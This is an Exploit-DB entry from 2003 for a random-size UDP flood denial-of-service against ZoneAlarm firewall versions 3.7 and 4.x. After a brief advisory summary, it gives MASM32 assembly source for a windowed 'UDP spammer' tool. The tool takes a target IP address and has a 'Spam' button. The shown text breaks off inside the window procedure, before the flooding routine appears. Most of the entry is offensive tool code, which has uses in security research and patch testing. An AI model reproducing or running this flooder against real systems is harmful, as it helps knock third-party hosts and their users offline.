Exploit-DB #23090
Description: ZoneAlarm 3.7.202/PRO 4.0/PRO 4.5 - Random UDP Flood Denial of Service (3)
Type: dos
Platform: windows
Date: 2003-09-02
Author: Igor Franchuk

Exploit:
source: https://www.securityfocus.com/bid/8525/info
  
A denial of service vulnerability has been alleged in ZoneAlarm. It is reportedly possible to reproduce this condition by sending a flood of UDP packets of random sizes to random ports on a system hosting the vulnerable software.

;//		          This is threadable UDP spammer
;/
;//
;//					 igor@email.ru  Igor Franchuk
;//						    
;//---------------------------------------------------------------------------

; #########################################################################
	.386
	.model flat, stdcall  
	option casemap :none  
	include \masm32\include\windows.inc
	include \masm32\include\kernel32.inc
	includelib \masm32\lib\kernel32.lib
	include \masm32\include\user32.inc 
	includelib \masm32\lib\user32.lib
	include \masm32\include\advapi32.inc
	includelib \masm32\lib\advapi32.lib
	include \masm32\include\comctl32.inc
	includelib \masm32\lib\comctl32.lib
	include \masm32\include\ws2_32.inc
	includelib \masm32\lib\ws2_32.lib

; #########################################################################
WinMain		 proto :DWORD,:DWORD,:DWORD,:DWORD
SetTransparency  proto :DWORD,:BYTE
GetRegString     proto :DWORD,:DWORD,:DWORD,:DWORD
Spam	 	 proto :DWORD
; #########################################################################
	.DATA	
 	 ClassName db "ZADOSWndClassObject",0
	 Caption   db "ZoneAlarm DOS test",0
	 User32lib db "user32",0
 	 SetLayeredWindowAttributesName db "SetLayeredWindowAttributes",0
 	 SBuf	   db 255,255,255,255,255,255,255,255,255,255,255,255
	 IPEditBox db "SysIPAddress32",0
         BtnName   db "button",0 
 	 OKBtnCaption db "Spam",0 
	 msgEmptyAdr  db "Invalid IP",0 
 	 msgWinSockErrorAdr db "WinSocket 2.0 is required. WSAStartup failed",0
	 msgWinSockErrorSock db "Invalid socket",0
 	 CancelBtnCaption db "Cancel",0 
 	 ProtoName  db "udp",0
 	 CThread     DWORD 0
 	 GThreadExit DWORD 0
	.DATA?
	 hInstance   HANDLE ?	
	 hIPEditWnd  HANDLE ?
	 hwndOKBtn      HANDLE ?
	 hwndCancelBtn  HANDLE ?
	 icex        INITCOMMONCONTROLSEX <> ;structure for DateTimePicker
	 tIPAdr     DWORD ?
	 Socket	    DWORD ?
	 tIPAdrSN   HANDLE ?
         WSAData    WSADATA <> 
	 SIN 	    sockaddr_in <>
	 TID        HANDLE ?

	 PROTOENTSTRUCT STRUCT
	   p_name    DWORD ?
	   p_aliases DWORD ?
	   p_proto   DWORD ?
 	 PROTOENTSTRUCT  ENDS

	.CONST
	 WS_EX_LAYERED  equ 80000h
	 LWA_ALPHA      equ 2h
	 IPEditID       equ 100h
	 OKBtnID        equ 200h	 
	 CancelBtnID    equ 201h	 
	 IPM_ISBLANK    equ (WM_USER+105)
	 IPM_GETADDRESS equ (WM_USER+102)

; #########################################################################
REVERSE MACRO ip
	push ebx
	mov ebx, ip
	xchg bh, bl
	mov ax, bx
	shr ebx, 16
	xchg bh, bl
	shl eax, 16
	mov ax, bx
	pop ebx
ENDM

MAKEWORD MACRO bLow, bHigh
    mov eax, bLow
    mov ebx, bHigh
    shl ebx, 8
    xor eax, ebx
ENDM
; #########################################################################
	.CODE
start:
;	#Init
        invoke GetModuleHandle, NULL; get the instance handle of our program.
        mov hInstance,eax
        invoke GetCommandLine; get the instance handle of our program.
	invoke WinMain, hInstance,NULL,eax, SW_SHOWDEFAULT        ; call the main function 
	invoke ExitProcess,0 
; #########################################################################
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, lpCmdLine:HANDLE, mCmdShow:DWORD
	LOCAL wc:WNDCLASSEX
	LOCAL msg:MSG 
	LOCAL hWnd:HWND 
        mov   wc.cbSize,SIZEOF WNDCLASSEX
	mov   wc.style,CS_DBLCLKS + CS_HREDRAW + CS_VREDRAW
	mov   wc.lpfnWndProc, OFFSET WndProc 
	mov   wc.cbClsExtra,NULL
	mov   wc.cbWndExtra,NULL
	push  hInst
	pop   wc.hInstance
	mov   wc.hbrBackground,COLOR_WINDOW+1
	mov   wc.lpszMenuName,NULL 
	mov   wc.lpszClassName,OFFSET ClassName 
	invoke LoadIcon,NULL,IDI_APPLICATION
	mov   wc.hIcon,eax 
	mov   wc.hIconSm,eax 
	invoke LoadCursor,NULL,IDC_ARROW 
	mov   wc.hCursor,eax 
	invoke RegisterClassEx, addr wc   
;#			WS_EX_LEFT+ WS_EX_LTRREADING + WS_EX_TOOLWINDOW,\
	invoke CreateWindowEx,\
			WS_EX_LEFT+ WS_EX_LTRREADING + WS_EX_TOOLWINDOW + WS_EX_WINDOWEDGE,\
        	        ADDR ClassName,\ 
                	ADDR Caption,\ 
	                16CC0000h,\
        	        CW_USEDEFAULT,\ 
                	CW_USEDEFAULT,\ 
	                256,\ 
        	        118,\ 
	                NULL,\ 
        	        NULL,\ 
	                hInst,\ 
	                NULL 
 	mov   hWnd,eax 
        invoke SetTransparency,hWnd,200
        invoke ShowWindow, hWnd, mCmdShow
        invoke UpdateWindow, hWnd
	.WHILE TRUE                                                         ; Enter message loop 
            invoke GetMessage, ADDR msg,NULL,0,0 
            .BREAK .IF (!eax) 
            invoke TranslateMessage, ADDR msg 
            invoke DispatchMessage, ADDR msg 
        .ENDW 
	mov     eax,msg.wParam                                            ; return exit code in eax 
	ret
WinMain endp
; #########################################################################
SetTransparency proc hWnd:HANDLE, bAlpha:BYTE
   LOCAL hLib:HANDLE
   LOCAL SetLayeredWindowAttr:HANDLE
   LOCAL WInfo:DWORD
   invoke LoadLibrary,addr User32lib
   mov hLib,eax
   .IF eax 
      invoke GetProcAddress, hLib, addr SetLayeredWindowAttributesName
      mov SetLayeredWindowAttr, eax
      .IF eax
	 invoke GetWindowLong,hWnd,GWL_EXSTYLE
	 or eax, WS_EX_LAYERED
         invoke SetWindowLong, hWnd, GWL_EXSTYLE, eax
         push LWA_ALPHA
	 xor eax,eax
         mov al,bAlpha
         push eax
         push NULL
         push hWnd
         call [SetLayeredWindowAttr]
      .ENDIF
      invoke FreeLibrary,hLib
   .ENDIF
   ret
SetTransparency endp
; #########################################################################
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM,